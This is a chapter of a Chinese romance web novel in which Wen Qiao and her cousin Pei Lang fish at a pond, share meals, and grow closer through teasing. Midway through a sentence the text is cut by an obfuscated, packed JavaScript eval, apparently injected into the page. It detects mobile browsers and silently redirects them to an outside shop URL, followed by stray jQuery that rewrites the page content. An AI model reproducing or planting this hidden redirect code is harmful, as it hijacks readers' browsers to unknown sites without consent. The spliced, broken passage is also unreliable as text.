闻乔气冲冲地找到池塘时,裴琅正坐在柳树下垂钓。
他头戴斗笠,手握鱼竿,姿态闲适得很。
闻乔轻手轻脚,准备偷偷走到他身后吓他一跳,惊走他的鱼儿。哪知她刚踏出一步,裴琅像脑袋后面长了眼睛一样,说:“你醒了。”
闻乔瞪他一眼,走到他另一边,蹲下来盯着水面。
裴琅的鱼篓放在脚边,闻乔探头一看——空的。
她心里顿时乐了,嘴上却不饶人:“表哥,你钓了多久了?怎么一条也没有?”
“没多久。”
“那怎么一条都没有?”
裴琅侧头看她一眼,慢悠悠道:“方才差点有一条,被表妹的脚步声吓跑了。”
闻乔噎住,半晌憋出一句:“……那它胆子也太小了。”
裴琅笑了一声,没再接话。
他要是钓到鱼了,恐怕表妹会把它们全部放生。既然如此那还不如先不钓到呢。
闻乔蹲在旁边看了一会儿,渐渐觉得无趣。她目光落在地上的小石子上,目光一亮,新生一计,捡起一颗往水里丢。
“咚——”
裴琅看她一眼。
闻乔无辜地眨眨眼:“我不小心的。”
又过了一会儿,她又丢了一颗。
“咚——”
“表妹。”裴琅有些无奈地开口。
“嗯?”
“你是来帮我赶鱼的?”
闻乔差点笑出声,忍住了,一本正经道:“我帮你把鱼赶过来。”
裴琅看着她,眼里带着笑意,却不戳穿。
又过了片刻,闻乔蹲得腿麻,索性一屁股坐在草地上。她托着腮看裴琅的侧脸——阳光从柳叶缝隙漏下来,在他脸上落了一小片光斑。
她看着看着,忽然问:“表哥,你怎么不带我来钓鱼?”
“你不是在睡觉?”
“你可以叫我啊。”
裴琅转过头看她,似笑非笑:“叫你?表妹睡觉时的脾气,我可不敢领教。”
闻乔脸一红,想反驳,却发现自己确实有起床气。
正说着,鱼漂猛地往下一沉。裴琅手腕一抬,鱼竿弯成一道弧线。
闻乔顿时来了精神,凑过去看:“钓到了钓到了!”
一条巴掌大的鲫鱼在空中甩着尾巴,银光一闪。
裴琅把鱼摘下来,放进鱼篓。闻乔凑过去看,那鱼在篓里扑腾,溅了她一脸水。
“哎呀!”她往后一躲,拿袖子擦脸。
裴琅看她狼狈的样子,眼底笑意更深:“表妹还要继续帮我赶鱼吗?”
闻乔瞪他一眼,却没说要走。
她重新在旁边坐下,这回老实了,不丢石子,也不说话,就安安静静地看着水面。
过了一会儿,裴琅忽然开口:“明日带你去。”
闻乔一愣:“带我去哪?”
“钓鱼。”裴琅看着水面,语气淡淡的,“给你也做根竿。”
闻乔这才笑了,说:“这还差不多。”
不过下午突然下起暴雨,一连下了好几天,等天气晴朗起来的时候,钓鱼的事早被闻乔抛之脑后了。
自那日后,闻乔就连天地往裴琅跟前凑。
天刚亮,她就闯进裴琅的房间说要给他梳头,裴琅被她弄得每天都起得格外早。
梳头的手艺不见长,闻乔自己也纳闷,明明每天都在练,为什么总能给他扯下头发来?
后来她实在忍不住,试探地问裴琅:“表哥,你有没有觉得你的头发变少了?”
裴琅从铜镜里瞥她一眼,淡淡道:“这就要问表妹了。”
闻乔心虚得不敢再说话,只是又和之前一样悄悄地将梳子上的头发藏到袖子里。
裴琅只当没看见。
她磨墨的技艺倒是变好了,每次她都能磨出浓淡合宜的墨来。
偶尔她也会看着裴琅写字。看他握笔的手握得极稳,字也写得漂亮。
她不由得想起来小时候父亲就训斥两个哥哥,说他们写的字还不如刚开始学写字的裴琅,把两个哥哥狠狠打了一顿。
哥哥们鬼哭狼嚎的声音深深印在闻乔脑海里,所以她一看到裴琅写字就觉得讨厌,每次他给她的贺礼,写的信她都不耐烦看。
不过现在……她觉得他的字很美。
“看什么?”裴琅忽然问。
闻乔慌忙收回目光,说:“没看你,看你的字!”
裴琅露出笑意,说:“我也没说你在看我啊。”
闻乔哼了一声,转念又说:“表哥,你想不想我天天给你磨墨呀?”
“你现在不就是天天给我磨墨吗?”
“我说以后。”闻乔强调。
“怎么了?你不回尚书府了,要跟着我回英王府?”
“才不是呢!”裴琅这句话勾起了她对母亲的思念。也不知道母亲怎么样了,会不会想她。
肯定不会想的。她已经有亲女儿了,怎么会惦记她这个假女儿呢?
“怎么了,脸都皱起来了?想家了?”裴琅看她的脸绷得紧紧的,轻轻地戳了戳。
“嗯,”闻乔轻轻点了点头,声音有些闷闷的,“我想我娘了。”
“那我给姨母去一封信?”
闻乔连连摇头:“不要!”
要是让裴琅知道了真实情况怎么办?
“好吧,”裴琅说,点了点她的鼻尖,“别难过了,明天我带你去钓鱼。”
闻乔点了点头,声音还是闷闷的。
裴琅说到做到,次日一早便让人做了根小鱼竿,细细的,竹节磨得光滑,正合闻乔的手。
她抱着竿子,跟在裴琅身后往池塘边去,还不放心地问:“表哥,你这竿能钓到鱼吗?怎么这么细?别刚放下就断了。”
“断不了。”裴琅头也不回。
“那要是钓到大鱼呢?”
“这池塘里的鱼苗是春天刚放进去养的,还长不了太大。”
“哦,是这样。”闻乔学着裴琅的样子正要把钩子甩出去,被裴琅拦住了。
“还没上饵,别着急。”说着就给闻乔的鱼钩上上鱼饵。
“现在抛吧。”
闻乔听话地用力一甩,脚下一滑,连人带杆都要飞出去,裴琅眼疾手快地拉住她的手腕,把她拽进自己的怀抱里,无奈地说:“表妹这是要投河?”
闻乔被裴琅抱在怀里。整个人都酥酥麻麻的,失去了力气,脸也红了,说起话来像撒娇一样:“才不是呢!”
她没有从裴琅怀里出来,裴琅也没有放开她,不一会儿她就觉得有些热,推了推他。
裴琅轻笑了一声,放开了她,向后退了一步。
“你笑什么?”闻乔红着脸说。
“我在笑表妹可爱。”
闻乔撇了撇脸,不好意思看她,嘴角却弯了起来。
她捡起鱼竿,又重新抛出鱼钩。
然后就是漫长的等待。
闻乔起初还端着,坐得规规矩矩。一刻钟后,她开始左顾右盼。两刻钟后,她把竿子往地上一戳,托着腮叹气。
“表哥,鱼怎么还不上钩?”
“急什么。”
“它们是不是都认识你了,知道你的饵不能吃?”
裴琅看她一眼,指了指自己盆里的鱼:“那表妹,我钓到的这条是怎么回事?”
闻乔噎住。
又过了一会儿,她的鱼漂终于动了。闻乔腾地站起来,使劲一提——
竿子弯了,水花四溅,一条小鲫鱼在空中甩着尾巴飞出来,啪叽一声落在草地上。
闻乔扔了竿子扑过去,蹲在地上看那条鱼,眼睛亮晶晶的:“钓到了钓到了!表哥你快看!”
裴琅走过去,蹲在她旁边,看了一眼那条巴掌大的鱼,又看她亮得过分的眼睛。
“嗯,看到了。”
“我厉害不厉害?”
“厉害。”
闻乔愣了一愣,抬头看他——他正看着她,眼里带着笑意,阳光从柳叶缝隙漏下来,落在他脸上。
她忽然不敢看了,低下头去把鱼从钩上摘下来,手忙脚乱的,鱼尾甩了她一脸水。
“哎呀!”
裴琅低低笑了一声,从袖子里掏出帕子递过去。
闻乔接过来擦脸,擦着擦着,忽然说:“表哥,咱们明天还来。”
“好。”
“后天也来。”
“好。”
“以后天天来。”
裴琅没应声。
闻乔抬头看他,见他正望着湖面,嘴角微微弯着。
过了好一会儿,她才听见他说:
“那得看表妹还回不回去了。”
闻乔怔住了。
她想说“我当然要回去”,可话到嘴边,却怎么也说不出口。
闻乔怔了怔,心里忽然涌上一股说不清的滋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197410|196051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味。
她低下头,把脸埋在膝头,闷闷地“嗯”了一声。
下午回到院子里,闻乔就吵嚷着要把钓到的小鱼做成菜吃。
“是清蒸呢还是红烧呢?”裴琅问。
闻乔想了想说:“我的清蒸,你的红烧,那这样两种口味就都能吃到了!”
裴琅轻笑一声:“都依你。”
用饭时,闻乔吃得较往常少一点。她这几日吃得不少。起先她还端着,怕裴琅嘲笑她吃得多,后来她见裴琅也不拘着她,她就敞开肚皮吃,每每都吃得饱饱的。只是吃完总会懊悔——肚子又圆润了一点。
在尚书府时,家人吃得清淡,而她却是口味重。闻夫人又注重养生,厨房里也不会备上鲜香的食物,所以在家里闻乔吃得少,偶尔让小厮去酒楼里买点饭菜回来打牙祭。
在英王府的庄子上,菜色品种比尚书府多,鱼虾新鲜不说,厨子的手艺也比家里好,闻乔一下子就露出本性,被裴琅说了好几次“小馋猫”。
正是三伏炎夏,厅堂里堆着冰块消暑,裴琅又叫人做了冰雪冷元子给闻乔吃。
闻乔却不动勺。
“怎么,没胃口了?”裴琅奇怪道。
她每日中午晚上饭后都要吃点甜食,今日怎么改了性子。
闻乔正经道:“我不想吃了,表哥,我娘说过大热天吃这种冰的食物对身体不好。”
裴琅听了简直要笑出来:“那前段时间每天都要喊着吃的人是谁?”
闻乔脸红了红,依旧嘴硬:“那是之前,反正现在我不吃了。”
裴琅看向站在一旁的紫筠。紫筠照顾着闻乔的起居,她是知道缘由的。
紫筠接收到裴琅的目光,掩嘴一笑:“今日中午午睡后,姑娘要换之前的旧衣,发现紧了几分。”
闻乔连耳根都烧起来,嗔道:“紫筠姐姐,不是叫你别告诉别人吗!”
紫筠笑着又说:“世子可不是别人。”她转过头来,又继续解释:“奴婢也跟姑娘说了,姑娘正是长个子的时候,没有胖。”
裴琅忍俊不禁,笑出声来:“难怪你今日吃饭也矜持了许多,我还以为天气热你没胃口了呢。”
他看见闻乔气鼓鼓的样子,又说:“而且你圆润一点更好看。”
“真的?”闻乔不信。
“当然是真的。”裴琅顿了顿,又说,“而且,长胖了力气大,给我按摩力度正合适。”
这话一说,紫筠噗嗤一声笑了出来。
闻乔气了个半死。
“裴琅你!你真是心思歹毒!你就是哄骗我多吃点让我给你当牛做马好多干点活!”
紫筠见状,连忙安抚闻乔:“世子就是嘴上不饶人,姑娘别跟他一般见识。”
裴琅无奈地笑笑。表妹就是不禁逗,但是他又总是忍不住。
“好吧,我心思歹毒。”裴琅也忍了,他走到闻乔跟前,将她揽入怀中,语气温柔,“原谅表哥好不好?嗯?”
“不要!”闻乔现在讨厌死他了,立刻就要从他的怀抱中挣脱出来。
裴琅抚摸着她的背,“我是坏蛋好不好,但是表哥那句话说的是真的呀,表妹你圆润了更好看。”
“你又骗我。”闻乔仰着俏脸瞪他。
“是真的。”裴琅也看着她。
慢慢地,闻乔脸就红了。
她方才生气没注意,她这才意识到裴琅揽着她把她当小孩子一样哄。
“你放开我……”闻乔的声音就像小猫叫声。
裴琅闻言放开了她。
闻乔说了一句什么,他没听清,“你说什么?”
“你下次不许这样了!”闻乔语速飞快。
“只要你不生气,怎么样都好。”
“哼!这还差不多。”闻乔目光又落在那碗冰糖雪元子上。
裴琅察言观色,劝道:“表妹,你瘦着好看,圆润了更好看,这冰糖雪元子都要不凉了,你少吃一点?”
闻乔听了才拿起勺子吃起来。
裴琅看着她吃得津津有味,不由得露出笑意。
表妹现在不会动不动就骂他了,只是偶尔发点小脾气。在他眼里,表妹怎么样都是极可爱的。
他又在想,上次给姨母去了一封信,现下也快到了。姨母来了,他才好下一步行动啊。
裴琅在心底喟叹,看着吃得正香的闻乔,他喉咙也生出几分渴意。
只是他这渴得闻乔来解。